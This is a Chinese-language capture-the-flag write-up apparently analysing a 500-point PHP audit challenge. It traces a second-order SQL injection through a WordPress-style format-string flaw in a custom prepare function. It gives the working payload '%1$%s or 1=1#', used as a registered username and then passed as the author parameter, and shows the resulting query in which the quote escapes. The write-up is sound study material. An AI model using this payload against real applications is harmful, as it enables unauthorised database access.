前记
赛后审计了一下这道500分的题目,一会儿就发现了问题,哎,下次不能被高分值的审计题吓到不敢看了……
源码分析
拿到题目先分析了下结构
应该是一个mvc的架构
include/action里的是控制器
include/lib里是用到的类库
include/view里是前端界面
我们直接看include/action/register.php
关键代码如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24$username = isset($_POST['username']) ? trim($_POST['username']) : '';
$email = '';
$password = isset($_POST['password']) ? trim($_POST['password']) : '';
$password2 = isset($_POST['password2']) ? trim($_POST['password2']) : '';
if ($username == '' || $password == '' || $password2 == '')
die('Imcomplete submission.');
if($password != $password2 || strlen($username) > 50 || strlen($password) > 50)
die('Error submission.');
$zUserObj = new zUser();
$detail = $zUserObj->getDetailUsr($username);
if (isset($detail['id']))
die('Duplicate username');
header("Content-type:text/html;charset=utf-8");
if($zUserObj->add($username, $email, $password)){
die('Success');
}else{
die('Failed');
}
可以看到这里对我们的输入限制1
2if($password != $password2 || strlen($username) > 50 || strlen($password) > 50)
die('Error submission.');
对于长度限制,我们暂时不用考虑,50字符的长度还是很容易绕过的
接着看到下面会检测有没有重复用户名1
2
3
4
5
6$zUserObj = new zUser();
$detail = $zUserObj->getDetailUsr($username);
if (isset($detail['id']))
die('Duplicate username');
如果没有会进行添加用户1
2
3
4
5if($zUserObj->add($username, $email, $password)){
die('Success');
}else{
die('Failed');
}
我们跟进这里的add()函数1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17function add($username, $email, $password) {
global $table_prefix;
$hash = md5($password);
$username = trim($username);
$email = trim($email);
$time = get_time();
try {
$sql = z_db_prepare("INSERT INTO {$table_prefix}users(`username`,`email`,`password`,`time`) VALUES(%s, %s, %s, %s)", $username, $email, $hash, $time);
$sth = $this->dbh->query($sql);
if (!($sth->rowCount() > 0)) {
return FALSE;
}
return TRUE;
} catch (PDOExecption $e) {
throw new Exception($e->getMessage());
}
}
这里会对我们的输入的把我们输入的$username, $email, $hash, $time
和1
"INSERT INTO {$table_prefix}users(`username`,`email`,`password`,`time`) VALUES(%s, %s, %s, %s)"
一起传入z_db_prepare()
于是我们跟进这个函数1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22function z_db_prepare( $query, $args ) {
if ( is_null( $query ) )
return;
// This is not meant to be foolproof -- but it will catch obviously incorrect usage.
if ( strpos( $query, '%' ) === false ) {
die('The query argument of %s must have a placeholder.');
}
$args = func_get_args();
array_shift( $args );
// If args were passed as an array (as in vsprintf), move them up
if ( isset( $args[0] ) && is_array($args[0]) )
$args = $args[0];
$query = str_replace( "'%s'", '%s', $query ); // in case someone mistakenly already singlequoted it
$query = str_replace( '"%s"', '%s', $query ); // doublequote unquoting
$query = preg_replace( '|(?<!%)%f|' , '%F', $query ); // Force floats to be locale unaware
$query = preg_replace( '|(?<!%)%s|', "'%s'", $query ); // quote the strings, avoiding escaped strings like %%s
array_walk( $args, 'myaddslashes');
return @vsprintf( $query, $args );
}
function myaddslashes(&$v, $key){
$v = addslashes($v);
}
看到这个函数的描述,当时我就感叹了,这就是之前不久爆出的wordpress格式化字符串注入新漏洞
攻击流程分析
于是注册的时候我们构造如下,1
2
3$username = "%1$%s or 1=1#";
$password = "1234";
$email = "test@test";
然后传入z_db_prepare()中1
2z_db_prepare("INSERT INTO z_users(`username`,`email`,`password`,`time`) VALUES(%s, %s, %s, %s)", $username, $email,
$hash, $time)
先看$query的变化:
经过1
2$query = str_replace( "'%s'", '%s', $query ); // in case someone mistakenly already singlequoted it
$query = str_replace( '"%s"', '%s', $query ); // doublequote unquoting
处理,所有的%s
变成'%s'
变成1
INSERT INTO z_users(`username`,`email`,`password`,`time`) VALUES('%s', '%s', '%s', '%s')
然后再看$args传入后的变化
首先经过1
$args = func_get_args();
变成:1
2
3
4
5
6
7
8
9
10
11
12array(5) {
[0]=>
string(80) "INSERT INTO z_users(`username`,`email`,`password`,`time`) VALUES(%s, %s, %s, %s)"
[1]=>
string(13) "%1$%s or 1=1#"
[2]=>
string(9) "test@test"
[3]=>
string(32) "81dc9bdb52d04dc20036dbd8313ed055"
[4]=>
string(19) "2017-12-19 13:52:34"
}
又经过1
array_shift( $args );
变成1
2
3
4
5
6
7
8
9
10array(4) {
[0]=>
string(13) "%1$%s or 1=1#"
[1]=>
string(9) "test@test"
[2]=>
string(32) "81dc9bdb52d04dc20036dbd8313ed055"
[3]=>
string(19) "2017-12-19 13:52:44"
}
然后经过1
array_walk( $args, 'myaddslashes');
变成1
2
3
4
5
6
7
8
9
10array(4) {
[0]=>
string(13) "%1$%s or 1=1#"
[1]=>
string(9) "test@test"
[2]=>
string(32) "81dc9bdb52d04dc20036dbd8313ed055"
[3]=>
string(19) "2017-12-19 13:52:57"
}
然后经过1
@vsprintf( $query, $args );
将$query格式化为:1
2INSERT INTO z_users(`username`,`email`,`password`,`time`) VALUES('%1$%s or 1=1#', 'test@test',
'81dc9bdb52d04dc20036dbd8313ed055', '2017-12-19 13:53:07')
然后返回到1
2
3
4
5
6$sql = z_db_prepare("INSERT INTO {$table_prefix}users(`username`,`email`,`password`,`time`) VALUES(%s, %s, %s, %s)", $username, $email, $hash, $time);
$sth = $this->dbh->query($sql);
if (!($sth->rowCount() > 0)) {
return FALSE;
}
return TRUE;
可以看见直接执行了我们的sql1
2INSERT INTO z_users(`username`,`email`,`password`,`time`) VALUES('%1$%s or 1=1#', 'test@test',
'81dc9bdb52d04dc20036dbd8313ed055', '2017-12-19 13:53:07')
然后我们用户名为%1$%s or 1=1#
的账户就被成功插入
然后我们可以登录了
会来到index.php
然后发现了关键触发点1
2
3
4
5
6
7
8
9
10$aObj = new zArticle();
$author = isset($_GET['author'])?trim($_GET['author']):'';
if($author == '')
{
$list = $aObj->getAll();
}
else
{
$list = $aObj->getUserArticles($author);
}
我们在此可以传入我们的用户名作为$_GET['author']
即1
%1$%s or 1=1#
于是我们跟进函数getUserArticles()1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19public function getUserArticles($username) {
global $table_prefix;
$username = trim($username);
$status = isset($_GET['status'])?trim($_GET['status']):1;
try {
$uObj = new zUser;
$udetail = $uObj->getDetailUsr($username);
if(!isset($udetail['id'])){
return false;
}
$additional = z_db_prepare("and `username`= %s ", $username);
$sql = z_db_prepare("SELECT * FROM {$table_prefix}articles where `status`=%d ".$additional, $status);
$sth = $this->dbh->query($sql);
$result = $sth->fetchAll(PDO::FETCH_ASSOC);
return $result;
} catch (PDOExecption $e) {
throw new Exception($e->getMessage());
}
}
这里会先判断getDetailUsr(),看用户是否存在
显然我们注册过用户,所以可以轻松绕过这一点
这也是我们必须在注册的时候就引入格式化字符串注入的地方
然后我们的username会被1
$additional = z_db_prepare("and `username`= %s ", $username);
利用
这里我就不一步一步写出过程了
可以直接得到结果:1
$additional = and `username`= '%1$%s or 1=1#'
然后传入1
$sql = z_db_prepare("SELECT * FROM z_articles where `status`=%d ".$additional, $status);
此时的$query为1
SELECT * FROM z_articles where `status`=%d and `username`= '%1$%s or 1=1#
而1
$status = isset($_GET['status'])?trim($_GET['status']):1;
故$status=1
然后重点来了!!!!
$query经过1
2
3
4$query = str_replace( "'%s'", '%s', $query ); // in case someone mistakenly already singlequoted it
$query = str_replace( '"%s"', '%s', $query ); // doublequote unquoting
$query = preg_replace( '|(?<!%)%f|' , '%F', $query ); // Force floats to be locale unaware
$query = preg_replace( '|(?<!%)%s|', "'%s'", $query ); // quote the strings, avoiding escaped strings like %%s
处理%s
变成了'%s'
得到:1
SELECT * FROM z_articles where `status`=%d and `username`= '%1$'%s' or 1=1#
然后最后的$args经过一系列处理变成了1
2
3
4array(1) {
[0]=>
string(1) "1"
}
然后来到了最后1
@vsprintf( $query, $args );
经过格式化字符串后,你会惊奇的发现1
SELECT * FROM z_articles where `status`=1 and `username`= '1' or 1=1#
单引号成功逃逸了!
那么这是为什么呢?
原因在此:
我们来看一下vsprintf()的一个小特性1
2vsprintf('%s, %d, %s', ["a", 1, "b"]); // "a, 1, b"
vsprintf('%s, %d, %1$s', ["a", 1, "b"]); // "a, 1, a"
可以发现%n$s不会读取下一个参数,而是读取第n个位置的参数
所以我们最后的格式化字符串问题:1
echo vsprintf("%1$'%s'", ["1"]);
结果:1
1'
因为这里的%s被替换成了array[1]的值,即1
但是问题来了1
%1$'%s'
大家可以发现中间的'
不见了,%1$'%s
直接变成了数组第一个值了,按道理说不应该是'1'
吗?怎么会是1'
呢
原因如下:
这里利用了vsprintf()的padding功能:
单引号后的一个字符会作为padding填充字符串
官方手册里是这样解释的:1
2'
(规定使用什么作为填充,默认是空格。它必须与宽度指定器一起使用。例如:%'x20s(使用 "x" 作为填充))
实例:1
2
3
4<?php
$str1 = "Hello";
echo sprintf("[%'*8s]",$str1);
?>
输出1
[***Hello]
为什么是这样的输出?
因为要长度为8的字符串,不够的用单引号后的*
进行填充
所以又3个*
那么我们题中的是1
%1$'%s
可以看到1
'%s
这里不存在长度要求,所以不存在填充,直接就可以把单引号吃掉导致了后一个'
的逃逸
后记
这道二次注入+最新的格式化字符串的题目我分析下来感觉真的出的很好
之前从来没有分析过新出来的CVE,这道题真的把这个新洞的问题暴露的淋漓尽致~
感谢安恒!